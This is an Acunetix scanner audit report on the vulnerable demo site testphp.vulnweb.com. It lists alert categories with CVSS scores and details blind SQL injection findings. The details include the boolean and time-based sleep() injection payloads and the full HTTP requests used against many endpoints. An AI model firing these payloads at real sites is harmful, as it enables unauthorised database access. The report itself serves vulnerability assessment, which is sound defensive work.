acunetix

WEB APPLICATION SECURITY

Acunetix Website Audit

9 October, 2019

Developer Report

Generated by Acunetix WVS Reporter (v10.5 Build 20160217)

Scan of http://testphp.vulnweb.com:80/

Scan details

Scan information	
Start time	2019/10/9 21:48:17
Finish time	The scan was aborted
Scan time	20 minutes, 34 seconds
Profile	Default
Server information	
Responsive	True
Server banner	nginx/1.4.1
Server OS	Unknown
Server technologies	PHP

Threat level

Acunetix Threat Level 3

One or more high-severity type vulnerabilities have been discovered by the scanner. A malicious user can exploit these vulnerabilities and compromise the backend database and/or deface your website.

Alerts distribution

Total alerts found	131
High	95
Medium	25
Low	4
Informational	7

Knowledge base

Possible registration page

A page where is possible to register a new user account was found at /signup.php.

Alerts summary

Blind SQL Injection

Classification	
CVSS	Base Score: 6.8 - Access Vector: Network - Access Complexity: Medium - Authentication: None - Confidentiality Impact: Partial - Integrity Impact: Partial - Availability Impact: Partial
CVSS3	Base Score: 10 - Attack Vector: Network - Attack Complexity: Low - Privileges Required: None - User Interaction: None - Scope: Changed - Confidentiality Impact: High - Integrity Impact: High - Availability Impact: None
CWE	CWE-89

Affected items	Variation
/	3
/AJAX/infoartist.php	1
/AJAX/infocateg.php	1
/AJAX/infotitle.php	1
/artists.php	2
/cart.php	1
/guestbook.php	1
/listproducts.php	3
/Mod_Rewrite_Shop/BuyProduct-1/	1
/Mod_Rewrite_Shop/BuyProduct-2/	1
/Mod_Rewrite_Shop/BuyProduct-3/	1
/Mod_Rewrite_Shop/Details/color-printer/3/	1
/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1/	1
/Mod_Rewrite_Shop/Details/web-camera-a4tech/2/	1
/Mod_Rewrite_Shop/RateProduct-1.html	1
/Mod_Rewrite_Shop/RateProduct-2.html	1
/Mod_Rewrite_Shop/RateProduct-3.html	1
/product.php	2
/search.php	4
/secured/newuser.php	1
/userinfo.php	3

Cross site scripting

Classification	
CVSS	Base Score: 6.4 - Access Vector: Network - Access Complexity: Low - Authentication: None - Confidentiality Impact: Partial - Integrity Impact: Partial - Availability Impact: None
CVSS3	Base Score: 5.3 - Attack Vector: Network - Attack Complexity: Low - Privileges Required: None - User Interaction: None - Scope: Unchanged - Confidentiality Impact: None - Integrity Impact: Low - Availability Impact: None
CWE	CWE-79

Affected items	Variation
/showimage.php	2

Cross site scripting (verified)

Classification	
CVSS	Base Score: 6.4 - Access Vector: Network - Access Complexity: Low - Authentication: None - Confidentiality Impact: Partial - Integrity Impact: Partial - Availability Impact: None
CVSS3	Base Score: 5.3 - Attack Vector: Network - Attack Complexity: Low - Privileges Required: None - User Interaction: None - Scope: Unchanged - Confidentiality Impact: None - Integrity Impact: Low - Availability Impact: None
CWE	CWE-79

Affected items	Variation
/comment.php	1
/guestbook.php	5
/hpp/	1
/hpp/index.php	1
/hpp/params.php	2
/listproducts.php	3
/search.php	2
/secured/newuser.php	6

Directory traversal (verified)

Classification	
CVSS	Base Score: 6.8 - Access Vector: Network - Access Complexity: Medium - Authentication: None - Confidentiality Impact: Partial - Integrity Impact: Partial - Availability Impact: Partial
CVSS3	Base Score: 5.3 - Attack Vector: Network - Attack Complexity: Low - Privileges Required: None - User Interaction: None - Scope: Unchanged - Confidentiality Impact: Low - Integrity Impact: None - Availability Impact: None
CWE	CWE-22

Affected items	Variation
/showimage.php	2

nginx SPDY heap buffer overflow

Classification	
CVSS	Base Score: 5.1 - Access Vector: Network - Access Complexity: High - Authentication: None - Confidentiality Impact: Partial - Integrity Impact: Partial - Availability Impact: Partial
CWE	CWE-122
CVE	CVE-2014-0133

Affected items	Variation
Web Server	1

Script source code disclosure

Classification	
CVSS	Base Score: 5.0 - Access Vector: Network - Access Complexity: Low - Authentication: None - Confidentiality Impact: Partial - Integrity Impact: None - Availability Impact: None
CWE	CWE-538

Affected items	Variation
/showimage.php	1

Server side request forgery

Classification	
CVSS	Base Score: 5.8 - Access Vector: Network - Access Complexity: Medium - Authentication: None - Confidentiality Impact: Partial - Integrity Impact: Partial - Availability Impact: None
CVSS3	Base Score: 9 - Attack Vector: Network - Attack Complexity: High - Privileges Required: None - User Interaction: None - Scope: Changed - Confidentiality Impact: High - Integrity Impact: High - Availability Impact: High
CWE	CWE-918

Affected items	Variation
/showimage.php	2

SQL injection

Classification	
CVSS	Base Score: 6.8 - Access Vector: Network - Access Complexity: Medium - Authentication: None - Confidentiality Impact: Partial - Integrity Impact: Partial - Availability Impact: Partial
CVSS3	Base Score: 10 - Attack Vector: Network - Attack Complexity: Low - Privileges Required: None - User Interaction: None - Scope: Changed - Confidentiality Impact: High - Integrity Impact: High - Availability Impact: None
CWE	CWE-89

Affected items	Variation
/	3

SQL injection (verified)

Classification	
CVSS	Base Score: 6.8 - Access Vector: Network - Access Complexity: Medium - Authentication: None - Confidentiality Impact: Partial - Integrity Impact: Partial - Availability Impact: Partial
CVSS3	Base Score: 10 - Attack Vector: Network - Attack Complexity: Low - Privileges Required: None - User Interaction: None - Scope: Changed - Confidentiality Impact: High - Integrity Impact: High - Availability Impact: None
CWE	CWE-89

Affected items	Variation
/AJAX/infoartist.php	1
/AJAX/infocateg.php	1
/AJAX/infotitle.php	1
/artists.php	2
/cart.php	1
/guestbook.php	1
/listproducts.php	4
/Mod_Rewrite_Shop/BuyProduct-1/	1
/Mod_Rewrite_Shop/BuyProduct-2/	1
/Mod_Rewrite_Shop/BuyProduct-3/	1
/Mod_Rewrite_Shop/Details/color-printer/3/	1
/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1/	1
/Mod_Rewrite_Shop/Details/web-camera-a4tech/2/	1
/Mod_Rewrite_Shop/RateProduct-1.html	1
/Mod_Rewrite_Shop/RateProduct-2.html	1
/Mod_Rewrite_Shop/RateProduct-3.html	1
/product.php	2
/search.php	5
/secured/newuser.php	1
/userinfo.php	3

Application error message

Classification	
CVSS	Base Score: 5.0 - Access Vector: Network - Access Complexity: Low - Authentication: None - Confidentiality Impact: Partial - Integrity Impact: None - Availability Impact: None
CVSS3	Base Score: 7.5 - Attack Vector: Network - Attack Complexity: Low - Privileges Required: None - User Interaction: None - Scope: Unchanged - Confidentiality Impact: High - Integrity Impact: None - Availability Impact: None
CWE	CWE-200

Affected items	Variation
/listproducts.php	4
/Mod_Rewrite_Shop/	1
/search.php	1
/secured/newuser.php	1
/showimage.php	2

CRLF injection/HTTP response splitting (verified)

Classification	
CVSS	Base Score: 5.0 - Access Vector: Network - Access Complexity: Low - Authentication: None - Confidentiality Impact: None - Integrity Impact: Partial - Availability Impact: None
CVSS3	Base Score: 5.4 - Attack Vector: Network - Attack Complexity: Low - Privileges Required: None - User Interaction: Required - Scope: Unchanged - Confidentiality Impact: Low - Integrity Impact: Low - Availability Impact: None
CWE	CWE-113

Affected items	Variation
/redir.php	1

Cross domain data hijacking

Classification	
CVSS	Base Score: 4.4 - Access Vector: Network - Access Complexity: Medium - Authentication: None - Confidentiality Impact: None - Integrity Impact: Partial - Availability Impact: None
CWE	CWE-20

Affected items	Variation
/hpp/params.php	1

Cross site scripting (content-sniffing)

Classification	
CVSS	Base Score: 6.4 - Access Vector: Network - Access Complexity: Low - Authentication: None - Confidentiality Impact: Partial - Integrity Impact: Partial - Availability Impact: None
CVSS3	Base Score: 5.3 - Attack Vector: Network - Attack Complexity: Low - Privileges Required: None - User Interaction: None - Scope: Unchanged - Confidentiality Impact: None - Integrity Impact: Low - Availability Impact: None
CWE	CWE-79

Affected items	Variation
/showimage.php	2

HTML form without CSRF protection

Classification	
CVSS	Base Score: 2.6 - Access Vector: Network - Access Complexity: High - Authentication: None - Confidentiality Impact: None - Integrity Impact: Partial - Availability Impact: None
CVSS3	Base Score: 4.3 - Attack Vector: Network - Attack Complexity: Low - Privileges Required: None - User Interaction: Required - Scope: Unchanged - Confidentiality Impact: None - Integrity Impact: Low - Availability Impact: None
CWE	CWE-352

Affected items	Variation
/	1
/comment.php (1c5c505530b26c709422c7cf9a33ea84)	1
/guestbook.php	1
/hpp (fbc1d56ba0737d3fa577aa5a19c9fd49)	1
/login.php	1
/signup.php	1

HTTP parameter pollution

Classification	
CVSS	Base Score: 5.0 - Access Vector: Network - Access Complexity: Low - Authentication: None - Confidentiality Impact: None - Integrity Impact: Partial - Availability Impact: None
CVSS3	Base Score: 9.1 - Attack Vector: Network - Attack Complexity: Low - Privileges Required: None - User Interaction: None - Scope: Unchanged - Confidentiality Impact: High - Integrity Impact: High - Availability Impact: None
CWE	CWE-88

Affected items	Variation
/hpp/	1
/hpp/index.php	1

Insecure crossdomain.xml file

Classification	
CVSS	Base Score: 5.0 - Access Vector: Network - Access Complexity: Low - Authentication: None - Confidentiality Impact: Partial - Integrity Impact: None - Availability Impact: None
CVSS3	Base Score: 6.5 - Attack Vector: Network - Attack Complexity: Low - Privileges Required: None - User Interaction: None - Scope: Unchanged - Confidentiality Impact: Low - Integrity Impact: Low - Availability Impact: None
CWE	CWE-284

Affected items	Variation
Web Server	1

URL redirection

Classification	
CVSS	Base Score: 6.4 - Access Vector: Network - Access Complexity: Low - Authentication: None - Confidentiality Impact: Partial - Integrity Impact: Partial - Availability Impact: None
CVSS3	Base Score: 0 - Attack Vector: Network - Attack Complexity: Low - Privileges Required: None - User Interaction: None - Scope: Unchanged - Confidentiality Impact: None - Integrity Impact: None - Availability Impact: None
CWE	CWE-601

Affected items	Variation
/redir.php	1

User credentials are sent in clear text

Classification	
CVSS	Base Score: 5.0 - Access Vector: Network - Access Complexity: Low - Authentication: None - Confidentiality Impact: Partial - Integrity Impact: None - Availability Impact: None
CVSS3	Base Score: 9.1 - Attack Vector: Network - Attack Complexity: Low - Privileges Required: None - User Interaction: None - Scope: Unchanged - Confidentiality Impact: High - Integrity Impact: High - Availability Impact: None
CWE	CWE-310

Affected items	Variation
/login.php	1
/signup.php	1

Clickjacking: X-Frame-Options header missing

Classification	
CVSS	Base Score: 6.8 - Access Vector: Network - Access Complexity: Medium - Authentication: None - Confidentiality Impact: Partial - Integrity Impact: Partial - Availability Impact: Partial
CWE	CWE-693

Affected items	Variation
Web Server	1

Hidden form input named price was found

Classification	
CVSS	Base Score: 0.0 - Access Vector: Network - Access Complexity: Low - Authentication: None - Confidentiality Impact: None - Integrity Impact: None - Availability Impact: None
CWE	CWE-16

Affected items	Variation
/product.php (a770732ffe2df697cc80cbd86328ad78)	1

Login page password-guessing attack

Classification	
CVSS	Base Score: 5.0 - Access Vector: Network - Access Complexity: Low - Authentication: None - Confidentiality Impact: Partial - Integrity Impact: None - Availability Impact: None
CVSS3	Base Score: 5.3 - Attack Vector: Network - Attack Complexity: Low - Privileges Required: None - User Interaction: None - Scope: Unchanged - Confidentiality Impact: None - Integrity Impact: None - Availability Impact: Low
CWE	CWE-307

Affected items	Variation
/userinfo.php	1

Possible virtual host found

Classification	
CVSS	Base Score: 5.0 - Access Vector: Network - Access Complexity: Low - Authentication: None - Confidentiality Impact: Partial - Integrity Impact: None - Availability Impact: None
CVSS3	Base Score: 7.5 - Attack Vector: Network - Attack Complexity: Low - Privileges Required: None - User Interaction: None - Scope: Unchanged - Confidentiality Impact: High - Integrity Impact: None - Availability Impact: None
CWE	CWE-200

Affected items	Variation
localhost	1

Broken links

Classification	
CVSS	Base Score: 0.0 - Access Vector: Network - Access Complexity: Low - Authentication: None - Confidentiality Impact: None - Integrity Impact: None - Availability Impact: None
CWE	CWE-16

Affected items	Variation
/medias/css/main.css	1
/medias/js/common_functions.js	1
/privacy.php	1
/secured/office_files/filelist.xml	1

Password type input with auto-complete enabled

Classification	
CVSS	Base Score: 0.0 - Access Vector: Network - Access Complexity: Low - Authentication: None - Confidentiality Impact: None - Integrity Impact: None - Availability Impact: None
CVSS3	Base Score: 7.5 - Attack Vector: Network - Attack Complexity: Low - Privileges Required: None - User Interaction: None - Scope: Unchanged - Confidentiality Impact: High - Integrity Impact: None - Availability Impact: None
CWE	CWE-200

Affected items	Variation
/login.php	1
/signup.php	2

Alert details

Blind SQL Injection

Severity	**High**
Type	Validation
Reported by module	Scripting (Blind_Sql_Injection.script)

Description

This script is possibly vulnerable to SQL Injection attacks.

SQL injection is a vulnerability that allows an attacker to alter back-end SQL statements by manipulating the user input. An SQL injection occurs when web applications accept user input that is directly placed into a SQL statement and doesn't properly filter out dangerous characters.

This is one of the most common application layer attacks currently being used on the Internet. Despite the fact that it is relatively easy to protect against, there is a large number of web applications vulnerable.

Impact

An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the integrity of your database and/or expose sensitive information.

Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of data/system access for the attacker. It may be possible to not only manipulate existing queries, but to UNION in arbitrary data, use sub selects, or append additional queries. In some cases, it may be possible to read in or write out to files, or to execute shell commands on the underlying operating system.

Certain SQL Servers such as Microsoft SQL Server contain stored and extended procedures (database server functions). If an attacker can obtain access to these procedures it may be possible to compromise the entire machine.

Recommendation

Your script should filter metacharacters from user input.
Check detailed information for more information about fixing this vulnerability.

References

Acunetix SQL Injection Attack
SQL Injection Walkthrough
OWASP PHP Top 5
VIDEO: SQL Injection tutorial
OWASP Injection Flaws
How to check for SQL injection vulnerabilities

Affected items

/

Details

Path Fragment (suffix /) input - was set to 3 AND 3*2*1=6 AND 76=76

Tests performed:
- 1*1*1*3 => TRUE
- 3*76*71*0 => FALSE
- 13*5*2*999 => FALSE
- 3*1*1 => TRUE
- 1*1*1*1*1*3 => TRUE
- 13*1*1*0*1*1*76 => FALSE
- 3 AND 5*4=20 AND 76=76 => TRUE
- 3 AND 5*4=21 AND 76=76 => FALSE
[... (line truncated)

Request headers

```
GET /Mod_Rewrite_Shop/BuyProduct-3%20AND%203*2*1%3d6%20AND%2076%3d76/ HTTP/1.1
X-Requested-With: XMLHttpRequest
```

```
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/

Details

Path Fragment (suffix .html) input - was set to 3 AND 3*2*1=6 AND 500=500

Tests performed:
- 1*1*1*3 => TRUE
- 3*500*495*0 => FALSE
- 13*5*2*999 => FALSE
- 3*1*1 => TRUE
- 1*1*1*1*1*3 => TRUE
- 13*1*1*0*1*1*500 => FALSE
- 3 AND 5*4=20 AND 500=500 => TRUE
- 3 AND 5*4=21 AND 500=500 => FALSE ... (line truncated)

Request headers

```
GET /Mod_Rewrite_Shop/RateProduct-3%20AND%203*2*1%3d6%20AND%20500%3d500.html HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/

Details

Cookie input login was set to
(select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+'"*/

Tests performed:
- (select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+'"+(select(0)from(select(sleep(3)))v)+'"*/ => 3.329 s
- (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+'"*/ => ... (line truncated)

Request headers

```
GET / HTTP/1.1
Cookie:
login=(select(0)from(select(sleep(0)))v)/*'%2B(select(0)from(select(sleep(0)))v)%2B'"%2B
(select(0)from(select(sleep(0)))v)%2B"*/; mycookie=3
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/AJAX/infoartist.php

Details

URL encoded GET input id was set to 3 AND 3*2*1=6 AND 365=365

Tests performed:
- 1*1*1*3 => TRUE
- 3*365*360*0 => FALSE
- 13*5*2*999 => FALSE
- 3*1*1 => TRUE
- 1*1*1*1*1*3 => TRUE
- 13*1*1*0*1*1*365 => FALSE
- 3 AND 5*4=20 AND 365=365 => TRUE
- 3 AND 5*4=21 AND 365=365 => FALSE
... (line truncated)

Request headers

```
GET /AJAX/infoartist.php?id=3%20AND%203*2*1%3d6%20AND%20365%3d365 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/AJAX/infocateg.php

Details

URL encoded GET input id was set to 3 AND 3*2*1=6 AND 956=956

Tests performed:
- 1*1*1*3 => TRUE
- 3*956*951*0 => FALSE
- 13*5*2*999 => FALSE
- 3*1*1 => TRUE
- 1*1*1*1*1*3 => TRUE
- 13*1*1*0*1*1*956 => FALSE
- 3 AND 5*4=20 AND 956=956 => TRUE
- 3 AND 5*4=21 AND 956=956 => FALSE
... (line truncated)

Request headers

```
GET /AJAX/infocateg.php?id=3%20AND%203*2*1%3d6%20AND%20956%3d956 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/AJAX/infotitle.php

Details

URL encoded POST input id was set to 3 AND 3*2*1=6 AND 733=733

Tests performed:
- 1*1*1*3 => TRUE
- 3*733*728*0 => FALSE
- 13*5*2*999 => FALSE
- 3*1*1 => TRUE
- 1*1*1*1*1*3 => TRUE
- 13*1*1*0*1*1*733 => FALSE
- 3 AND 5*4=20 AND 733=733 => TRUE
- 3 AND 5*4=21 AND 733=733 => FALSE[/li ... (line truncated)

Request headers

```
POST /AJAX/infotitle.php HTTP/1.1
Content-Length: 40
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

id=3%20AND%203*2*1%3d6%20AND%20733%3d733
```

/artists.php

Details

URL encoded GET input artist was set to 3 AND 3*2*1=6 AND 32=32

Tests performed:
- 1*1*1*3 => TRUE
- 3*32*27*0 => FALSE
- 13*5*2*999 => FALSE
- 3*1*1 => TRUE
- 1*1*1*1*1*3 => TRUE
- 13*1*1*0*1*1*32 => FALSE
- 3 AND 5*4=20 AND 32=32 => TRUE
- 3 AND 5*4=21 AND 32=32 => FALSE
- 3 ... (line truncated)

Request headers

```
GET /artists.php?artist=3%20AND%203*2*1%3d6%20AND%2032%3d32 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/artists.php

Details

Cookie input login was set to -1' OR 3*2*1=6 AND 000931=000931 --

Tests performed:
- -1' OR 2+931-931-1=0+0+0+1 -- => TRUE
- -1' OR 3+931-931-1=0+0+0+1 -- => FALSE
- -1' OR 3*2<(0+5+931-931) -- => FALSE
- -1' OR 3*2>(0+5+931-931) -- => FALSE
- -1' OR 2+1-1-1=1 AND 000931=000931 -- => TRUE
- -1' OR 000931=000931 AND 3+1-1-1=1 - ... (line truncated)

Request headers

```
GET /artists.php HTTP/1.1
Cookie: login=-1'%20OR%203*2*1=6%20AND%20000931=000931%20--%20; mycookie=3
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/cart.php

Details

Cookie input login was set to -1' OR 3*2*1=6 AND 000987=000987 --

Tests performed:
- -1' OR 2+987-987-1=0+0+0+1 -- => TRUE
- -1' OR 3+987-987-1=0+0+0+1 -- => FALSE
- -1' OR 3*2<(0+5+987-987) -- => FALSE
- -1' OR 3*2>(0+5+987-987) -- => FALSE
- -1' OR 2+1-1-1=1 AND 000987=000987 -- => TRUE
- -1' OR 000987=000987 AND 3+1-1-1=1 - ... (line truncated)

Request headers

```
GET /cart.php HTTP/1.1
Cookie: login=-1'%20OR%203*2*1=6%20AND%20000987=000987%20--%20; mycookie=3
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/guestbook.php

Details

Cookie input login was set to -1' OR 3*2*1=6 AND 000589=000589 --

Tests performed:
- -1' OR 2+589-589-1=0+0+0+1 -- => TRUE
- -1' OR 3+589-589-1=0+0+0+1 -- => FALSE
- -1' OR 3*2<(0+5+589-589) -- => FALSE
- -1' OR 3*2>(0+5+589-589) -- => FALSE
- -1' OR 2+1-1-1=1 AND 000589=000589 -- => TRUE
- -1' OR 000589=000589 AND 3+1-1-1=1 - ... (line truncated)

Request headers

```
GET /guestbook.php HTTP/1.1
Cookie: login=-1'%20OR%203*2*1=6%20AND%20000589=000589%20--%20; mycookie=3
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/listproducts.php

Details

URL encoded GET input artist was set to
if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/

Tests performed:
- if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysdate(),sleep(9),0))OR'"XOR(if(now()=sysdate(),sleep(9),0))OR"*/ => 9.344 s
- if(now()=sysdate(),sleep(3),0)/*'XOR(if(now()=sysdate(),sleep(3),0))OR'"XOR(if(now()=sysdate(),sleep(3),0))OR"*/ ... (line truncated)

Request headers

```
GET
/listproducts.php?artist=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()
%2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/ HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
```

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/listproducts.php

Details

URL encoded GET input cat was set to 1 AND 3*2*1=6 AND 66=66

Tests performed:
- 1*1*1*1 => TRUE
- 1*66*61*0 => FALSE
- 11*5*2*999 => FALSE
- 1*1*1 => TRUE
- 1*1*1*1*1*1 => TRUE
- 11*1*1*0*1*1*66 => FALSE
- 1 AND 5*4=20 AND 66=66 => TRUE
- 1 AND 5*4=21 AND 66=66 => FALSE
- 1 AN ... (line truncated)

Request headers

```
GET /listproducts.php?artist=1&cat=1%20AND%203*2*1%3d6%20AND%2066%3d66 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/listproducts.php

Details

Cookie input login was set to
if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/

Tests performed:
- if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysdate(),sleep(9),0))OR'"XOR(if(now()=sysdate(),sleep(9),0))OR"*/ => 9.328 s
- if(now()=sysdate(),sleep(3),0)/*'XOR(if(now()=sysdate(),sleep(3),0))OR'"XOR(if(now()=sysdate(),sleep(3),0))OR"*/ => ... (line truncated)

Request headers

```
GET /listproducts.php HTTP/1.1
Cookie:
login=if(now()=sysdate()%2Csleep(0)%2C0)/*'XOR(if(now()=sysdate()%2Csleep(0)%2C0))OR'"XO
R(if(now()=sysdate()%2Csleep(0)%2C0))OR"*/; mycookie=3
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/Mod_Rewrite_Shop/BuyProduct-1/

Details

URL encoded GET input id was set to 1 AND 3*2*1=6 AND 626=626

Tests performed:
- 1*1*1*1 => TRUE
- 1*626*621*0 => FALSE
- 11*5*2*999 => FALSE
- 1*1*1 => TRUE
- 1*1*1*1*1*1 => TRUE
- 11*1*1*0*1*1*626 => FALSE
- 1 AND 5*4=20 AND 626=626 => TRUE
- 1 AND 5*4=21 AND 626=626 => FALSE
... (line truncated)

Request headers

```
GET /Mod_Rewrite_Shop/BuyProduct-1/?id=1%20AND%203*2*1%3d6%20AND%20626%3d626 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/Mod_Rewrite_Shop/BuyProduct-2/

Details

URL encoded GET input id was set to 1 AND 3*2*1=6 AND 652=652

Tests performed:
- 1*1*1*1 => TRUE
- 1*652*647*0 => FALSE
- 11*5*2*999 => FALSE
- 1*1*1 => TRUE
- 1*1*1*1*1*1 => TRUE
- 11*1*1*0*1*1*652 => FALSE
- 1 AND 5*4=20 AND 652=652 => TRUE
- 1 AND 5*4=21 AND 652=652 => FALSE
... (line truncated)

Request headers

```
GET /Mod_Rewrite_Shop/BuyProduct-2/?id=1%20AND%203*2*1%3d6%20AND%20652%3d652 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/Mod_Rewrite_Shop/BuyProduct-3/

Details

URL encoded GET input id was set to 1 AND 3*2*1=6 AND 366=366

Tests performed:
- 1*1*1*1 => TRUE
- 1*366*361*0 => FALSE
- 11*5*2*999 => FALSE
- 1*1*1 => TRUE
- 1*1*1*1*1*1 => TRUE
- 11*1*1*0*1*1*366 => FALSE
- 1 AND 5*4=20 AND 366=366 => TRUE
- 1 AND 5*4=21 AND 366=366 => FALSE
... (line truncated)

Request headers

```
GET /Mod_Rewrite_Shop/BuyProduct-3/?id=1%20AND%203*2*1%3d6%20AND%20366%3d366 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/Mod_Rewrite_Shop/Details/color-printer/3/

Details

URL encoded GET input id was set to 1 AND 3*2*1=6 AND 504=504

Tests performed:
- 1*1*1*1 => TRUE
- 1*504*499*0 => FALSE
- 11*5*2*999 => FALSE
- 1*1*1 => TRUE
- 1*1*1*1*1*1 => TRUE
- 11*1*1*0*1*1*504 => FALSE
- 1 AND 5*4=20 AND 504=504 => TRUE
- 1 AND 5*4=21 AND 504=504 => FALSE
... (line truncated)

Request headers

```
GET /Mod_Rewrite_Shop/Details/color-printer/3/?id=1%20AND%203*2*1%3d6%20AND%20504%3d504
HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

